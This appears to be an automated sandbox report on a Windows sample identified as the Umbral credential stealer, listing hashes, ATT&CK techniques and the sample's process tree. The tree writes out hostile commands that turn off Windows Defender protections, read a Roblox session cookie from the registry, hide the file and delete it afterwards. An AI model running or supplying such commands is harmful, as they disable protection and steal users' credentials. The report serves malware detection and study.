umbral | cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-01-2025 04:45

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General

Target

cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe
Size

496KB
MD5

5679fd7303147ee1bc6c4adc979de286
SHA1

65354bef2646e0d6536ed4ca614839c4e245ad16
SHA256

cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16
SHA512

6d0f2241a55c1549cc9e02fdd7f0368548a3c933772ffb5a8a3bf47a9743470fe017f4bf6e5dad0f4b87111416418db67b6cb4a887378ee3ef88554e0f80c221
SSDEEP

12288:ZoZ1tlRk83Mlp6BpcCFdWXp8aLLy5MvOAs:q5r3bBpcCFdWXp8aLLy5yq

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/3348-1-0x00000180F8E00000-0x00000180F8E82000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2116	powershell.exe
3520	powershell.exe
4980	powershell.exe
1624	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1752	cmd.exe
4444	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2580	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4444	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe
1624	powershell.exe
1624	powershell.exe
2116	powershell.exe
2116	powershell.exe
3520	powershell.exe
3520	powershell.exe
4388	powershell.exe
4388	powershell.exe
4980	powershell.exe
4980	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe
Token: SeIncreaseQuotaPrivilege	2256	wmic.exe
Token: SeSecurityPrivilege	2256	wmic.exe
Token: SeTakeOwnershipPrivilege	2256	wmic.exe
Token: SeLoadDriverPrivilege	2256	wmic.exe
Token: SeSystemProfilePrivilege	2256	wmic.exe
Token: SeSystemtimePrivilege	2256	wmic.exe
Token: SeProfSingleProcessPrivilege	2256	wmic.exe
Token: SeIncBasePriorityPrivilege	2256	wmic.exe
Token: SeCreatePagefilePrivilege	2256	wmic.exe
Token: SeBackupPrivilege	2256	wmic.exe
Token: SeRestorePrivilege	2256	wmic.exe
Token: SeShutdownPrivilege	2256	wmic.exe
Token: SeDebugPrivilege	2256	wmic.exe
Token: SeSystemEnvironmentPrivilege	2256	wmic.exe
Token: SeRemoteShutdownPrivilege	2256	wmic.exe
Token: SeUndockPrivilege	2256	wmic.exe
Token: SeManageVolumePrivilege	2256	wmic.exe
Token: 33	2256	wmic.exe
Token: 34	2256	wmic.exe
Token: 35	2256	wmic.exe
Token: 36	2256	wmic.exe
Token: SeIncreaseQuotaPrivilege	2256	wmic.exe
Token: SeSecurityPrivilege	2256	wmic.exe
Token: SeTakeOwnershipPrivilege	2256	wmic.exe
Token: SeLoadDriverPrivilege	2256	wmic.exe
Token: SeSystemProfilePrivilege	2256	wmic.exe
Token: SeSystemtimePrivilege	2256	wmic.exe
Token: SeProfSingleProcessPrivilege	2256	wmic.exe
Token: SeIncBasePriorityPrivilege	2256	wmic.exe
Token: SeCreatePagefilePrivilege	2256	wmic.exe
Token: SeBackupPrivilege	2256	wmic.exe
Token: SeRestorePrivilege	2256	wmic.exe
Token: SeShutdownPrivilege	2256	wmic.exe
Token: SeDebugPrivilege	2256	wmic.exe
Token: SeSystemEnvironmentPrivilege	2256	wmic.exe
Token: SeRemoteShutdownPrivilege	2256	wmic.exe
Token: SeUndockPrivilege	2256	wmic.exe
Token: SeManageVolumePrivilege	2256	wmic.exe
Token: 33	2256	wmic.exe
Token: 34	2256	wmic.exe
Token: 35	2256	wmic.exe
Token: 36	2256	wmic.exe
Token: SeDebugPrivilege	1624	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeDebugPrivilege	4388	powershell.exe
Token: SeIncreaseQuotaPrivilege	5020	wmic.exe
Token: SeSecurityPrivilege	5020	wmic.exe
Token: SeTakeOwnershipPrivilege	5020	wmic.exe
Token: SeLoadDriverPrivilege	5020	wmic.exe
Token: SeSystemProfilePrivilege	5020	wmic.exe
Token: SeSystemtimePrivilege	5020	wmic.exe
Token: SeProfSingleProcessPrivilege	5020	wmic.exe
Token: SeIncBasePriorityPrivilege	5020	wmic.exe
Token: SeCreatePagefilePrivilege	5020	wmic.exe
Token: SeBackupPrivilege	5020	wmic.exe
Token: SeRestorePrivilege	5020	wmic.exe
Token: SeShutdownPrivilege	5020	wmic.exe
Token: SeDebugPrivilege	5020	wmic.exe
Token: SeSystemEnvironmentPrivilege	5020	wmic.exe
Token: SeRemoteShutdownPrivilege	5020	wmic.exe
Token: SeUndockPrivilege	5020	wmic.exe
Token: SeManageVolumePrivilege	5020	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3348 wrote to memory of 2256	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	84
PID 3348 wrote to memory of 2256	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	84
PID 3348 wrote to memory of 2392	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	87
PID 3348 wrote to memory of 2392	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	87
PID 3348 wrote to memory of 1624	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	89
PID 3348 wrote to memory of 1624	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	89
PID 3348 wrote to memory of 2116	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	91
PID 3348 wrote to memory of 2116	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	91
PID 3348 wrote to memory of 3520	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	93
PID 3348 wrote to memory of 3520	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	93
PID 3348 wrote to memory of 4388	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	95
PID 3348 wrote to memory of 4388	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	95
PID 3348 wrote to memory of 5020	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	98
PID 3348 wrote to memory of 5020	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	98
PID 3348 wrote to memory of 4608	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	100
PID 3348 wrote to memory of 4608	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	100
PID 3348 wrote to memory of 4352	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	102
PID 3348 wrote to memory of 4352	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	102
PID 3348 wrote to memory of 4980	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	104
PID 3348 wrote to memory of 4980	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	104
PID 3348 wrote to memory of 2580	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	106
PID 3348 wrote to memory of 2580	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	106
PID 3348 wrote to memory of 1752	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	108
PID 3348 wrote to memory of 1752	3348	cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe	108
PID 1752 wrote to memory of 4444	1752	cmd.exe	110
PID 1752 wrote to memory of 4444	1752	cmd.exe	110

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2392	attrib.exe

C:\Users\Admin\AppData\Local\Temp\cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe
"C:\Users\Admin\AppData\Local\Temp\cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3348
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2256
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe"
  2⤵
  - Views/modifies file attributes
  PID:2392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4388
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5020
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:4608
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4980
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2580
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\cbf4e042e45bf47e1070d666b8078444303b423ecb62fe98ee9a11c905b4fd16.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1752
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
891bd25a88970f5a3c25d1839c2e651d

SHA1
305988f52b6440c57a4b7881b6e98067c413b342

SHA256
3d8d0396794dd879ee6183e3cb4bf3951eb1afea9060879338dea596d2303ef9

SHA512
be7efd35caa2d1f57fb117995f9b16c2d08ffba30817fe59bcf279826114228ec59bfc9ecf67271517062ef89c421d53cca010e0a9d5a5026b1a25fc4fe37939

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e731d04342acefb30a7006b3d20d4977

SHA1
a8745005573ac1c2bb2d6318b47b250efdd0d9d8

SHA256
72ca7db8b3ada50034d4b5dcb1be696b8574814fc55f6ea38812046cc3c9f8d7

SHA512
7ea1392cc10a5aa176d013265a0fcd5dfac7b2606980ff29d8656c88069b1586f9a34e430695917631da443cf124afcd569421cf1e1bb1996c9c23063b9bccb9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x5wteisf.nul.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1624-5-0x00007FFEEBD30000-0x00007FFEEC7F1000-memory.dmp

Filesize
10.8MB

Download
memory/1624-4-0x000002D32DE80000-0x000002D32DEA2000-memory.dmp

Filesize
136KB

Download
memory/1624-15-0x00007FFEEBD30000-0x00007FFEEC7F1000-memory.dmp

Filesize
10.8MB

Download
memory/1624-18-0x00007FFEEBD30000-0x00007FFEEC7F1000-memory.dmp

Filesize
10.8MB

Download
memory/1624-3-0x00007FFEEBD30000-0x00007FFEEC7F1000-memory.dmp

Filesize
10.8MB

Download
memory/3348-34-0x00000180FB600000-0x00000180FB650000-memory.dmp

Filesize
320KB

Download
memory/3348-33-0x00000180FB580000-0x00000180FB5F6000-memory.dmp

Filesize
472KB

Download
memory/3348-35-0x00000180FB510000-0x00000180FB52E000-memory.dmp

Filesize
120KB

Download
memory/3348-1-0x00000180F8E00000-0x00000180F8E82000-memory.dmp

Filesize
520KB

Download
memory/3348-0-0x00007FFEEBD33000-0x00007FFEEBD35000-memory.dmp

Filesize
8KB

Download
memory/3348-72-0x00000180FB540000-0x00000180FB54A000-memory.dmp

Filesize
40KB

Download
memory/3348-73-0x00000180FB650000-0x00000180FB662000-memory.dmp

Filesize
72KB

Download
memory/3348-2-0x00007FFEEBD30000-0x00007FFEEC7F1000-memory.dmp

Filesize
10.8MB

Download
memory/3348-93-0x00007FFEEBD30000-0x00007FFEEC7F1000-memory.dmp

Filesize
10.8MB

Download